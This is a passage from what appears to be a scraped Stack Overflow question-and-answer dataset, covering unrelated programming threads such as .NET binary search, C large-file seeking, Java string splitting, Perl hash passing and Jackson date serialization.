] | If you're looking for an implementation of an efficient container type for Python implemented using something like a balanced search tree (A Red-Black tree for example) then it's not part of the standard library.
I was able to find this, though:
<http://www.brpreiss.com/books/opus7/>
The source code is available here:
<http://www.brpreiss.com/books/opus7/public/Opus7-1.0.tar.gz>
I don't know how the source code is licensed, and I haven't used it myself, but it would be a good place to start looking if you're not interested in rolling your own container classes.
There's [PyAVL](http://linux.softpedia.com/get/Programming/Libraries/pyavl-43893.shtml) which is a C module implementing an AVL tree.
Also, [this thread](http://mail.python.org/pipermail/python-list/2007-September/628938.html) might be useful to you. It contains a lot of suggestions on how to use the bisect module to enhance the existing Python dictionary to do what you're asking.
Of course, using insort() that way would be pretty expensive for insertion and deletion, so consider it carefully for your application. Implementing an appropriate data structure would probably be a better approach.
In any case, to understand whether you should keep the data structure sorted or sort it when you iterate over it you'll have to know whether you intend to insert a lot or iterate a lot. Keeping the data structure sorted makes sense if you modify its content relatively infrequently but iterate over it a lot. Conversely, if you insert and delete members all the time but iterate over the collection relatively infrequently, sorting the collection of keys before iterating will be faster. There is no one correct approach. | Do you have the possibility of using Jython? I just mention it because using TreeMap, TreeSet, etc. is trivial. Also if you're coming from a Java background and you want to head in a Pythonic direction Jython is wonderful for making the transition easier. Though I recognise that use of TreeSet in this case would not be part of such a "transition".
For Jython superusers I have a question myself: the blist package can't be imported because it uses a C file which must be imported. But would there be any advantage of using blist instead of TreeSet? Can we generally assume the JVM uses algorithms which are essentially as good as those of CPython stuff? |
1,392,348 | How, in a .NET, do you search a sorted collection for a key, and get the index, or if it doesn't exist, get the **index of the next highest item**?
For example there is a list that contains elements {1,5,8,10}. I search for 7. It doesn't exist, but the next highest key that does exist is 8 with an index of **2**.
Example:
```
SortedList<int, int> list = new SortedList<int, int>();
list.Add(1, 1);
list.Add(5, 1);
list.Add(8, 1);
list.Add(10, 1);
int index = list.IndexOfKeyOrNext(7); // theoretical function. returns 2
```
I can do this by adding a temporary item at 7, calling list.IndexOfKey(7), then removing my temporary item. But This is slow. Is there a better way?
Edit: My list is sorted. | 2009/09/08 | [
"https://Stackoverflow.com/questions/1392348",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/165754/"
] | A modified binary search would be the fastest way. A binary search is an O(log n) operation, so it's much faster than looping through all the items to find a match.
```
public int IndexOfKeyOrNext(SortedList<int,int> list, int find) {
int first = 0;
int last = list.Count - 1;
while (first < last) {
int pos = first + last / 2;
if (list.Keys[pos].Key < find) {
first = pos + 1;
} else {
last = pos;
}
}
if (first < list.Count && list.Keys[first] >= find) {
return first;
} else {
return -1;
}
}
``` | ```
int yourValue = 5;
var item = list.FirstOrDefault(x => x >= yourValue);
if(item != null)
{
var index = list.IndexOf(item);
}
```
This assumes your list is presorted, and that you're able to use Linq. |
1,568,850 | I'm trying to read in a 24 GB XML file in C, but it won't work. I'm printing out the current position using ftell() as I read it in, but once it gets to a big enough number, it goes back to a small number and starts over, never even getting 20% through the file. I assume this is a problem with the range of the variable that's used to store the position (long), which can go up to about 4,000,000,000 according to <http://msdn.microsoft.com/en-us/library/s3f49ktz(VS.80).aspx>, while my file is 25,000,000,000 bytes in size. A long long should work, but how would I change what my compiler([Cygwin](http://en.wikipedia.org/wiki/Cygwin)/[mingw32](http://en.wikipedia.org/wiki/MinGW)) uses or get it to have fopen64? | 2009/10/14 | [
"https://Stackoverflow.com/questions/1568850",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/190164/"
] | I don't know of any way to do this in one file, a bit of a hack but if splitting the file up properly isn't a real option, you could write a few functions that temp split the file, one that uses ftell() to move through the file and swaps ftell() to a new file when its reaching the split point, then another that stitches the files back together before exiting. An absolutely botched up approach, but if no better solution comes to light it could be a way to get the job done. | Even if the ftell() in the Microsoft C library returns a 32-bit value and thus obviously will return bogus values once you reach 2 GB, just reading the file should still work fine. Or do you need to seek around in the file, too? For that you need \_ftelli64() and \_fseeki64().
Note that unlike some Unix systems, you don't need any special flag when opening the file to indicate that it is in some "64-bit mode". The underlying Win32 API handles large files just fine. |
63,985,332 | A function in C that I wrote works like this:
```c
int filepath_from_request(obj **context) {
strncpy(*context->request_filepath, *context->request, 1024));
}
```
The `obj` object itself is defined as
```c
typedef struct obj {
int socket;
char request[1024];
char request_filepath[1024];
} obj;
...
obj *context = (obj *)malloc(sizeof(obj));
```
However, referencing `*context->request` in this way throws a fatal compile-time error, `'*ctx' is a pointer; did you mean to use '->'?`. Why is this the case? It would see to me that I am referencing the same object that was assigned a value to, but clearly there is something that I am not understanding about double pointers. | 2020/09/21 | [
"https://Stackoverflow.com/questions/63985332",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/7214539/"
] | It's just an operator precedence thing. Consider (\*context)->request or context[0]->request, depending on which makes more sense in your situation. | As (\*) has more precedence than (->), program is considering
```
strncpy(*context->request_filepath, *context->request
```
as
```
strncpy(*(context->request_filepath), *context->request
```
And showing a fatal error to you. You can change precedence by applying the bracket as
```
strncpy((*context)->request_filepath, *context->request
```
And your job is done. |
38,825,369 | I have the following string
```
String path = "(tags:homepage).(tags:project mindshare).(tags:5.5.x).(tags:project 5.x)";
```
I used following code,
```
String delims = "\\.";
String[] tokens = path.split(delims);
int tokenCount = tokens.length;
for (int j = 0; j < tokenCount; j++) {
System.out.println("Split Output: "+ tokens[j]);
}
```
Current output is
```
Split Output: (tags:homepage)
Split Output: (tags:project mindshare)
Split Output: (tags:5
Split Output: 5
Split Output: x)
Split Output: (tags:project 5
Split Output: x)
```
End goal is to convert this string into
```
String newpath = "(tags:homepage)(tags:project mindshare)(tags:5.5.x)(tags:project 5.x)";
``` | 2016/08/08 | [
"https://Stackoverflow.com/questions/38825369",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/976278/"
] | You can use a *positive lookbehind* to achieve this :
```
String path = "(tags:homepage).(tags:project mindshare).(tags:5.5.x).(tags:project 5.x)";
String newPath = path.replaceAll("(?<=\\))\\.", ""); // look for periods preceeded by `)`
System.out.println(newPath);
```
O/P :
```
(tags:homepage)(tags:project mindshare)(tags:5.5.x)(tags:project 5.x)
``` | You can do this without using a regular expression, in a clean and simple way, that even supports nested parentheses (for the day you'll need to support them).
What you want to do here is to keep everything that is inside parentheses, so we can just loop over the characters and keep a count of open parentheses. If this count is greater than 0, we add the character (it means we're inside parens); if not, we disregard the character.
```
String path = "(tags:homepage).(tags:project mindshare).(tags:5.5.x).(tags:project 5.x)";
StringBuilder sb = new StringBuilder();
int openParens = 0;
for (char c : path.toCharArray()) {
if (c == '(') openParens++;
if (openParens > 0) sb.append(c);
if (c == ')') openParens--;
}
System.out.println(sb.toString());
```
This has the advantage that you don't implicly rely on: having a single dot between parens, not having nested parens, etc. |
37,961,354 | How can I write my SQL query in Symfony2's query builder?
```
(
SELECT t2.`year_defence`, 'advisor_id' AS col, t2.advisor_id AS val, COUNT(*) AS total
FROM projects t2
GROUP BY t2.`year_defence`, t2.advisor_id
)
UNION
(
SELECT t2.`year_defence`, 'type_id' AS col, t2.type_id AS val, COUNT(*) AS total
FROM projects t2
GROUP BY t2.`year_defence`, t2.type_id
)
UNION
(
SELECT t2.`year_defence`, 'technology_id' AS col, t2.technology_id AS val, COUNT(*) AS total
FROM projects t2
GROUP BY t2.`year_defence`, t2.technology_id
)
ORDER BY 1 , 2 , 3;
```
Doesn't work any possibilities which I've tried. | 2016/06/22 | [
"https://Stackoverflow.com/questions/37961354",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/6422381/"
] | If you are looking to have login form on front end then there are multiple plugins available out there. Checkout **UserPro** plugin.
Also Free plugin like **'Theme My Login (TML)'** can be used to provide login functionality on front end. These are just examples, there are many others as well.
Let me know if this helps or feel free to discuss more in details. | **This is very well possible.** You can even do this without any advanced coding skills, but it requires some (very popular) plugins.
Use the 'sidebar login widget' to let people login on any part of your website and use 'login redirect' to send them to a specific private(!) page, based on their role.
I can recommend the 'TML plugin', Faisal suggests, to make the experience even more polished. Additionally you can use the 'User role editor' to customize your roles and/or create new ones.
* Sidebar login: <https://wordpress.org/plugins/sidebar-login/>
* Login redirect:
<https://wordpress.org/plugins/peters-login-redirect/screenshots/>
* TML plugin: <https://wordpress.org/plugins/theme-my-login/>
* User role editor: <https://wordpress.org/plugins/user-role-editor/> |
4,360,847 | Σ from i=1 to n of(n)(n+1)/2
What is the upper limit of computation for a give n? is it O(n^3) O(n^2)?
Example:
```
n=1 , sum =1
n=2 , sum= 1+ 1+2 , sum = 4
n=3, sum= 1+1+2+1+2+3, sum = 10
n=4, sum = 1 + 1+2 + 1+2+3 + 1+2+3+4 = 20
n= 5, sum = 1+ 1+2 +1+2+3 +1+2+3+4 + 1+2+3+4+5 , sum = 35
...
n=10, sum = ..... , sum = 220
```
etc, so what is the upper bound of this computation as a function of N? is it :
O(n^3)? | 2010/12/05 | [
"https://Stackoverflow.com/questions/4360847",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/505238/"
] | We can approximate `n(n+1)/2` to `n^2`. So our sum is `1^2 + 2^2 + ... + n^2`, and that is `n(n+1)(2n+1)/6`, which can be approximated to `n^3`. So the upper bound is `n^3`. | The exact formula for the sum is `1/6*n*(n+1)*(n+2)`, which is `O(n^3)`. |
1,161,043 | I was asked to modify some existing code to add some additional functionality. I have searched on Google and cannot seem to find the answer. I have something to this effect...
```
%first_hash = gen_first_hash();
%second_hash = gen_second_hash();
do_stuff_with_hashes(%first_hash, %second_hash);
sub do_stuff_with_hashes
{
my %first_hash = shift;
my %second_hash = shift;
# do stuff with the hashes
}
```
I am getting the following errors:
```
Odd number of elements in hash assignment at ./gen.pl line 85.
Odd number of elements in hash assignment at ./gen.pl line 86.
Use of uninitialized value in concatenation (.) or string at ./gen.pl line 124.
Use of uninitialized value in concatenation (.) or string at ./gen.pl line 143.
```
Line 85 and 86 are the first two lines in the sub routine and 124 and 143 are where I am accessing the hashes. When I look up those errors it seems to suggest that my hashes are uninitialized. However, I can verify that the hashes have values. Why am I getting these errors? | 2009/07/21 | [
"https://Stackoverflow.com/questions/1161043",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/-1/"
] | The hashes are being collapsed into flat lists when you pass them into the function. So, when you shift off a value from the function's arguments, you're only getting one value. What you want to do is pass the hashes by reference.
```
do_stuff_with_hashes(\%first_hash, \%second_hash);
```
But then you have to work with the hashes as references.
```
my $first_hash = shift;
my $second_hash = shift;
``` | A bit late but,
As have been stated, you must pass references, not hashes.
```
do_stuff_with_hashes(\%first_hash, \%second_hash);
```
But if you need/want to use your hashes as so, you may dereference them imediatly.
```
sub do_stuff_with_hashes {
my %first_hash = %{shift()};
my %second_hash = %{shift()};
};
``` |
10,098,410 | Look at my code below, I get memory error after I click "back" button, the problem will be fixed if I deleted [aboutView release]
Why is that? and how I should release aboutView?
```
-(IBAction)swichView {
AboutView *aboutView = [[AboutView alloc] init];
[aboutView.view setAlpha:0];
[self.view addSubview:aboutView.view];
[UIView beginAnimations:@"" context:nil];
[UIView setAnimationDuration:1.0];
[aboutView.view setAlpha:1];
[UIView commitAnimations];
[aboutView release];
}
```
Second View Contorller:
```
-(IBAction)back {
[UIView beginAnimations:@"" context:nil];
[UIView setAnimationDuration:1.0];
[self.view setAlpha:0];
[UIView commitAnimations];
[self.view removeFromSuperview];
}
``` | 2012/04/11 | [
"https://Stackoverflow.com/questions/10098410",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/929751/"
] | You wouldn't believe how much overhead a realized lazy seq imposes. I tested this on a 64-bit OS: it's something like 120 bytes. That's pure overhead for every lazy seq member. The vector, on the other hand, has quite a low overhead and is basically the same as a Java array, given a large enough vector. So try replacing `doall` with `vec`.
Let's also see how much memory you are spending without the overhead. You've got 5e6 pairs of integers -- that's 5e6 x 8 = 40 MB. You could save by using shorts and get a 50% saving (I repeat---that's not counting the overhead of the parent collection, and each vector instance holding the pair has its own overhead).
The next step in the saving is to use a raw array for both the outer collection and for the pairs. It could still be a very practical solution since an array is seqable and integrates quite well with the language. To do that, you'd just have to replace the two occurrences of `vec` with `to-array`.
**UPDATE**
The difference between `Integer` and `Short` is not that big due to both still being full-fledged objects. It would save much more to store the number pairs as primitive arrays, using `short-array` (or `int-array`) instead of `to-array`. | It's hard to utilize laziness and to encapsulate `with-open` at the same time. Laziness is important in your case, because it makes it possible to have only the "relevant" part of the line or int-vector sequence in memory.
One solution to the problem is don't encapsulate `with-open` and to contain the whole line-processing logic inside the dynamic scope of a `with-open` form:
```
(with-open [rdr (clojure.java.io/reader "<file>")]
(doseq [int-vector (map to-int-vector (line-seq rdr))]
(process int-vector)))
```
Two important details here are that you don't store away the line and int-vector sequence, and that you only only use them within the `with-open` form. These details ensure that the parts of the sequence that have already been processed can be garbage collected, and that the file stream remains open during the whole processing., |
225,515 | In a book I found these sentences:
1. Solve the assignments using what you have learned.
2. Tom showed up wearing a suit.
I can understand the meaning. But I do not know why *using* and *wearing* are used without a preposition like by or with.
I have learned participles are used as adjectives or nouns. But in the cited sentences they seem like adverbs.
I thought the prepositions for using and wearing is omitted because the meanings are very obvious. But I'm not certain.
And I also considered 2 like this.
Tom wearing a suit showed up. This seems to be clear grammatically to me. But it isn't smooth.
Are *using* and *wearing* used as adverbs? If so, can participles be used as adverbs?
And if they aren't adverbs please explain how they are used grammatically to me.
I'm an ESL learner. If this is solved, then it will be much help for me to learn English continuously. | 2015/02/04 | [
"https://english.stackexchange.com/questions/225515",
"https://english.stackexchange.com",
"https://english.stackexchange.com/users/108529/"
] | ambiguous looks a simple word to describe 'there is no complete description of what "everything" encompasses'. At the same time, 'unreasonable' does not fit here. | It could be a *[Sisyphean](http://www.oxforddictionaries.com/us/definition/american_english/Sisyphean) task*.
>
> (Of a task) such that it can never be completed.
>
>
>
This refers to the Greek myth of [Sisyphus](http://en.wikipedia.org/wiki/Sisyphus), who was punished by the gods by being ordered to to push a boulder up a hill, but whenever he was nearing the top it would slip out of his grasp and roll back to the bottom. So he would have to start over, and repeat this forever. |
32,751,130 | Here is what I have mustered up:
```
from graphics import *
from random import *
from math import *
```
class Ball(Circle):
def **init**(self, win\_width, win\_high, point, r, vel1, vel2):
Circle.**init**(self, point, r)
```
self.width = win_width
self.high = win_high
self.vecti1 = vel1
self.vecti2 = vel2
def collide_wall(self):
bound1 = self.getP1()
bound2 = self.getP2()
if (bound2.y >= self.width):
self.vecti2 = -self.vecti2
self.move(0, -1)
if (bound2.x >= self.high):
self.vecti1 = -self.vecti1
self.move(-1, 0)
if (bound1.x <= 0):
self.vecti1 = -self.vecti1
self.move(1, 0)
if (bound2.y <= 0):
self.vecti2 = -self.vecti2
self.move(0, 1)
def ball_collision(self, cir2):
radius = self.getRadius()
radius2 = cir2.getRadius()
bound1 = self.getP1()
bound3 = cir2.getP1()
center1 = Point(radius + bound1.x,radius + bound1.y)
center2 = Point(radius2 + bound3.x,radius2 + bound3.y)
centerx = center2.getX() - center1.getX()
centery = center2.getY() - center1.getY()
distance = sqrt((centerx * centerx) + (centery * centery))
if (distance <= (radius + radius2)):
xdistance = abs(center1.getX() - center2.getX())
ydistance = abs(center1.getY() - center2.getY())
if (xdistance <= ydistance):
if ((self.vecti2 > 0 & bound1.y < bound3.y) | (self.vecti2 < 0 & bound1.y > bound3.y)):
self.vecti2 = -self.vecti2
if ((cir2.vecti2 > 0 & bound3.y < bound1.y) | (cir2.vecti2 < 0 & bound3.y > bound1.y)):
cir2.vecti2 = -cir2.vecti2
elif (xdistance > ydistance):
if ((self.vecti1 > 0 & bound1.x < bound3.x) | (self.vecti1 < 0 & bound1.x > bound3.x)):
self.vecti1 = -self.vecti1
if ((cir2.vecti1 > 0 & bound3.x < bound1.x) | (cir2.vecti1 < 0 & bound3.x > bound1.x)):
cir2.vecti1 = -cir2.vecti1
```
def main():
win = GraphWin("Ball screensaver", 700,700)
```
velo1 = 4
velo2 = 3
velo3 = -4
velo4 = -3
cir1 = Ball(win.getWidth(),win.getHeight(),Point(50,50), 20, velo1, velo2)
cir1.setOutline("red")
cir1.setFill("red")
cir1.draw(win)
cir2 = Ball(win.getWidth(),win.getHeight(),Point(200,200), 20, velo3, velo4)
cir2.setOutline("blue")
cir2.setFill("blue")
cir2.draw(win)
while(True):
cir1.move(cir1.vecti1, cir1.vecti2)
cir2.move(cir2.vecti1, cir2.vecti2)
time.sleep(.010)
cir1.collide_wall()
cir2.collide_wall()
cir1.ball_collision(cir2)
#cir2.ball_collision(cir1)
```
main()
Ok so here is the problem. This Math is not working correctly at all. Sometimes it works perfectly sometimes one ball overpowers the other ball or they don't react like a ball collision should. I am racking my brain trying to figure out what the problem is but I feel I am too close to the project at the moment to see it. Any help would be appreciated. | 2015/09/23 | [
"https://Stackoverflow.com/questions/32751130",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/4522468/"
] | I added some names to the df to make it easier and split everything out into separate layers in ggplot to make manipulation easier, imho.
```
library(ggplot2)
x <- seq(0,10,.1)
y <- as.matrix(cbind(rnorm(101,x,1),rep(x,length(x)),rep(1,length(x))))
z <- as.matrix(cbind(rnorm(101,x+3,1),rep(x,length(x)),rep(0,length(x))))
# move the matrix to a df
data <- as.data.frame(rbind(y,z))
# give it some names to make life easier
names(data) <- c("Y","Z","X")
# note the benefit to qplot as well
qplot(y=data$Y,x=data$Z,col=data$X)
ggplot(data) +
aes(x=data$Z, y=data$Y, col=as.factor(data$X)) +
geom_point() +
stat_smooth(method = "lm", se = FALSE)
```
[](https://i.stack.imgur.com/wX0Xi.png) | With qplot:
```
qplot(x = data[, 2], y = data[, 1], col = as.factor(data[, 3]),
geom = c("point", "smooth"), method="lm", se = FALSE)
```
[](https://i.stack.imgur.com/0qA9y.jpg)
With ggplot:
```
data_df <- data.frame(y = data[, 1], x = data[, 2], grp = as.factor(data[, 3]))
ggplot(data_df, aes(x = x, y = y, col = grp)) + geom_point() +
stat_smooth(method = "lm", se = FALSE)
``` |
56,034,612 | Class definition
```java
@Entity
@Table(name = "t_domain")
public class Domain(){
@Id
String id;
String fieldA;
String fieldB;
String fieldC;
List<String> operations;
}
```
Table definition
```sql
CREATE TABLE `t_domain` (
`id` varchar(38) ,
`fieldA` varchar(255) ,
`fieldB` varchar(255) ,
`fieldC` varchar(255) ,
`operations` varchar(255) ,
PRIMARY KEY (`id`)
)
```
JSON
```
{"id":"1",
"fieldA":"a",
"fieldB":"b",
"fieldC":"c",
"operations":["a","b"]}
```
From this page['<https://en.wikibooks.org/wiki/Java_Persistence/ElementCollection>'],said `The ElementCollection values are always stored in a separate table.`.
In jpa 2.0,`@ElementCollection` is a way to save collection,but it seen to need a new table to store collection value.
Question:
I dont want to create any new table like `domain_operation` or `another_table_name` defind in `@CollectionTable(name="another_table_name")`.
I want to save the json to mysql in only one row.
I'm using Hibernate 4.3.11 | 2019/05/08 | [
"https://Stackoverflow.com/questions/56034612",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/8223302/"
] | This is what the reduce functions do here
```
var maxVerticalPipCount:CGFloat = 0
for rark in pipsPerRowForRank {
if CGFloat(rark.count) > maxVerticalPipCount {
maxVerticalPipCount = CGFloat(rark.count)
}
}
var maxHorizontalPipCount:CGFloat = 0
for rark in pipsPerRowForRank {
if CGFloat(rark.max() ?? 0) > maxHorizontalPipCount {
maxHorizontalPipCount = CGFloat(rark.max() ?? 0)
}
}
```
You shouldn't use [reduce(*:*:)](https://developer.apple.com/documentation/swift/array/2298686-reduce) function for finding the max value. Use [max(by:)](https://developer.apple.com/documentation/swift/array/2294243-max) function like this
```
let maxVerticalPipCount = CGFloat(pipsPerRowForRank.max { $0.count < $1.count }?.count ?? 0)
let maxHorizontalPipCount = CGFloat(pipsPerRowForRank.max { ($0.max() ?? 0) < ($1.max() ?? 0) }?.max() ?? 0)
``` | The reduce function loops over every item in a collection, and combines them into one value. Think of it as literally reducing multiple values to one value. [[Source](https://learnappmaking.com/map-reduce-filter-swift-programming/#reduce)]
From [Apple Docs](https://developer.apple.com/documentation/swift/array/2298686-reduce)
```
let numbers = [1, 2, 3, 4]
let numberSum = numbers.reduce(0, { x, y in
x + y
})
// numberSum == 10
```
---
In your code,
`maxVerticalPipCount` is iterating through the whole array and finding the max between count of 2nd element and 1st element of each iteration.
`maxHorizontalPipCount` is finding max of 2nd element's max value and first element.
Try to print each element inside reduce function for better understandings.
```
let maxVerticalPipCount = pipsPerRowForRank.reduce(0) {
print($0)
return max($1.count, $0)
}
``` |
24,411 | I'm unclear if this is something that should be done only when a lawn has problems, or as part of normal maintenance every X years? I guess you could even do it every spring but I imagine that's overkill and puts the lawn out of use for a few weeks just as you want to start enjoying it! | 2016/04/30 | [
"https://gardening.stackexchange.com/questions/24411",
"https://gardening.stackexchange.com",
"https://gardening.stackexchange.com/users/14517/"
] | Well it all depends on what kind of lawn you want and the effort you want to put into it. If your ambition is to have Perfect grass: perfectly flat, no weeds, no dead spots then over seed twice a year, every year.
This keeps the turf thick, helps out compete weeds and doesn't take very long to do.
If you don't care so much then just over seed in the fall in the bare or patchy spots and then top dress with compost or organic matter. | You don't overseed the lawn, you let it grow long (say 6 inches), then cut it back drastically (say 3 inches), but not so drastically that it will kill it off (say 1.5 inch), because if you do that the grass can evaporate from the surface a lot quicker than the grass can take it in. It will fill in the gaps that are in the grass, and you won't need to do anything to fill in the gaps.
I experimented where I used to park my truck, even though it's coming back some I noticed it come back considerably when I let it grow to the top of my shoes, then cut it back to 2.5 inches, and it "suckered up" very thick all over the lawn, and looks incredibly healthy now. The concept works for trees, because if you remove a lot of growing points on the tree, because you took away a lot of the growing points for the tree, so I thought why not with grass. |
32,271,241 | So I installed xampp and tried to start but Apache was giving the usual error of port busy and I changed the port address to 8080 and also the localhost to 8080 in the httpd.conf file.
Now,localhost just shows a blank page,no files I save in the htdocs folder show up.It's just a blank page and nothing happens.Any suggestions? | 2015/08/28 | [
"https://Stackoverflow.com/questions/32271241",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/4564579/"
] | Try: "localhost:8080" instead of "localhost" in URL area. | I Have Already Face This issue. First Of All Save Your File Like First.php And Then Run .And keep In Mind Do Not Keep File Name Index.php |
11,646,047 | When I debug my project, I get following error:
>
> "Unable to copy file "obj\Debug\My Dream.exe" to "bin\Debug\My Dream.exe". The process cannot access the file 'bin\Debug\My Dream.exe' because it is being used by another process."
>
>
>
Using Process Explorer, I see that MyApplication.exe was out but System process still uses it although I stopped debug before.
Whenever I change my code and start debug it is going to happen. If I copy project to USB and debug, it runs OK.
Why? How can I fix this error?
I use Window 7 Professional. With Xp I have never got this error. | 2012/07/25 | [
"https://Stackoverflow.com/questions/11646047",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/1526922/"
] | Worked for me.
Task Manager -> Name of project -> End task. (i had 3 same processes with my project name);
VS 2013; Win 8; | Another kludge, ugh, but it's easy and works for me in VS 2013. Click on the project. In the properties panel should be an entry named Project File with a value
(your project name).vbproj
Change the project name - such as adding an -01 to the end. The original .zip file that was locked is still there, but no longer referenced ... so your work can continue. Next time the computer is rebooted, that lock disappears and you can delete the errant file. |
11,546,152 | I am trying to use foreach statment to run through a function that preg\_replaces using regular expression. Can someone help, because my method doesn't work..
```
$reg_sent is an array
function reg_sent($i){
$reg_sent = "/[^A-Za-z0-9.,\n\r ]/";
return preg_replace($reg_sent, '', $i);
}
foreach($reg_sent as $key=>$value){
$value = reg_sent($value);
}
``` | 2012/07/18 | [
"https://Stackoverflow.com/questions/11546152",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/-1/"
] | You *can* choose a file to put the output of dumpdata into if you call it from within Python using `call_command`, for example:
```
from django.core.management import call_command
output = open(output_filename,'w') # Point stdout at a file for dumping data to.
call_command('dumpdata','model_name',format='json',indent=3,stdout=output)
output.close()
```
However, if you try calling this from the command line with e.g. `--stdout=filename.json` at the end of your dumpdata command, it gives the error `manage.py: error: no such option: --stdout`.
So it is there, you just have to call it within a Python script rather than on the command line. If you want it as a command line option, then redirection (as others have suggested) is your best bet. | You can dump all database models data by using below code
```py
from django.core.management import call_command
with open("data.json", "w", encoding="utf-8") as fp:
call_command("dumpdata", format="json", indent=2, stdout=fp)
```
This will create a file (`data.json`) in the root of your project folder. |
100,861 | It is well known that one can use $\chi^2$ distribution to estimate the variance of normal distribution (i.e., $N(0,\sigma^2$)).
Is there a particular reason of using $\chi^2$ distribution? Or can we say that it is the "most accurate" way to estimate the variance of a normal distribution? Or does this "most accurate" thing exist? If it exists and it is not $\chi^2$ distribution, then what it is?
Thanks! | 2014/06/02 | [
"https://stats.stackexchange.com/questions/100861",
"https://stats.stackexchange.com",
"https://stats.stackexchange.com/users/42701/"
] | Recall the [definition](http://en.wikipedia.org/wiki/Chi-squared_distribution) of the $\chi^2$-distribution with $n$ degress of freedom. If
$X\_i$ are $iid$ standard normal then
$$
Z = \sum\_{i=1}^n X\_i^2
$$
has a $\chi^2$-distribution with $n$ degrees of freedom.
Thus it is natural to apply this distribution for the sample estimator of variance if we assume a normal distribution. | The other responses adequately explain the relationship between the sample variance of a normal distribution and $\chi^2-$distributions.
However, from your latest comment, it seems like you're interested in the strength of the estimator.
To address this, I'll point out two things:
* $\chi^2$-distribution doesn't provide an estimator per say. What's happening is that the sample variance is $\chi^2$-distributed.
* Now that we know the distribution, we can do with it what density functions do best, which is to estimate confidence intervals.
For example, you can show that given some data, the probability of your sample variance being correct with 95% probability is:
 |
437,278 | Basically we'd want to create a SyncML server that we can hookup to our own custom data source, all the component would do is listen for client connections and notify and request data from our code return the data back to the client. Looking primarily to sync Contact data from our app with various mobile devices. | 2009/01/12 | [
"https://Stackoverflow.com/questions/437278",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/23822/"
] | Command-line form:
```
corflags application.exe /32BIT+
``` | If you go to Configuration Manager in Visual Studio you can set the platform to x86 or x64. |
5,236,431 | I have a string `arraylist`. Need to get the index values of all elements if its value equals a specific character.
For eg need to get the index value of element if its value = "."
with `indexOf()` & `lastIndexOf()` i am able to find only the index value of 1st and last occurrence respectively.
```
ArrayList<String> als_data = new ArrayList<String>();
als_data[0] = "a"
als_data[1] = "b"
als_data[2] = "a"
als_data[3] = "c"
als_data[4] = "d"
als_data[5] = "a"
```
now i need to find the indices of `"a"`
my output should be like
```
0
2
5
```
please help me out in doing this. | 2011/03/08 | [
"https://Stackoverflow.com/questions/5236431",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/646256/"
] | well... you can easily do this linearly with a loop:
```
private int[] getIndexe(String searchFor,List<String> sourceArray) {
List<Integer> intArray = new ArrayList<Integer>();
int index = 0;
for(String val:sourceArray) {
if(val.equals(searchFor)) {
intArray.add(index);
}
index++;
}
return intArray.toArray(new int[intArray.size()]);
}
```
///
I haven't tried compiling or running the above, but it should get you close.
Good luck. | Use `String.indexOf( mychar, fromIndex)`.
Iterate starting with fromIndex 0, then use the previous result as your fromIndex until you get a -1. |
29,379,623 | Sorry for what it seems to be a redundant question but i do have many options,
and despite my effort reading dozen of threads, i'm not able to understand what to do.
I do have a java application which job is to :
1. get datas from a SOAP WS (XML),
2. do some logic ( incoming deliverydate will become datebl )
3. Finally send it to a REST WS (JSON Format), which will update an Oracle Table
Plan is thus as follows :
**SOAP WS** ---- deliverydate ----> **JAVA APP** (logic) ---- datebl ----> **REST WS**
Jar used in JAVA APP are `jackson-core-asl-1.9.13.jar` and `jackson-mapper-asl-1.9.13.jar` among others.
Issues i have is when dealing with dates.
Readings :
( Tried to be inspired but jackson version seems not to be the same ) :
[JSON Serializing date in a custom format (Can not construct instance of java.util.Date from String value)](https://stackoverflow.com/questions/17655532/json-serializing-date-in-a-custom-format-can-not-construct-instance-of-java-uti)
[Jackson 2.3.2: Issue with deserializing a Date despite of setting the date format to ObjectMapper](https://stackoverflow.com/questions/25793322/jackson-2-3-2-issue-with-deserializing-a-date-despite-of-setting-the-date-forma)
Edit 01/04/15
<http://jackson-users.ning.com/forum/topics/cannot-deserialize-a-date>
**The facts now**
**Point 1 :**
When recovering data from SOAP WS, deliverydate is a String which exact value is :
>
> 2014-07-31 07:00:00.0
>
>
>
**Point 2:**
Just before using the setter, i thought it could be a good idea to format this String to a date.
```
SimpleDateFormat dateFormat = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");
Date dateebl = dateFormat.parse(deliverydate);
msi.setDatebl(dateebl);
```
datebl declaration in POJO
```
private java.util.Date datebl;
```
At this stage, datebl value has transformed to
>
> Thu Jul 31 07:00:00 CEST 2014
>
>
>
(despite choosing the specific format yyyy-MM-dd HH:mm:ss)
**Point 3 and ERROR i have :**
The error i have is thrown by the rest server:
>
> Can not construct instance of java.util.Date from String value 'Thu
> Jul 31 07:00:00 CEST 2014': not a valid representation (error: Can not
> parse date "Thu Jul 31 07:00:00 CEST 2014": not compatible with any of
> standard forms ("yyyy-MM-dd'T'HH:mm:ss.SSSZ",
> "yyyy-MM-dd'T'HH:mm:ss.SSS'Z'", "EEE, dd MMM yyyy HH:mm:ss zzz",
> "yyyy-MM-dd")) at [Source:
> org.glassfish.jersey.message.internal.EntityInputStream@5709779; line:
> 1, column: 74] (through reference chain:
> com.rest.entities.MvtSwapsIn["datebl"])
>
>
>
**What i tried to do :**
To resolve this, as i'm using a version prior to 2.x, i thought that my best option was to use a custom serializer, so :
* In pojo, annotation was added just before the getter
```
@JsonSerialize(using = CustomJsonDateSerializer.class)
public java.util.Date getDatebl() {
return datebl;
}
```
* Serializer was created as follows
```
public class CustomJsonDateSerializer extends JsonSerializer<Date> {
@Override
public void serialize(Date value, JsonGenerator jgen,
SerializerProvider provider) throws IOException,
JsonProcessingException {
SimpleDateFormat dateFormat = new SimpleDateFormat(Properties.General.FORMAT_HEURE_JSON_SERIALIZE_2);
String dateString = dateFormat.format(value);
jgen.writeString(dateString);
}
```
}
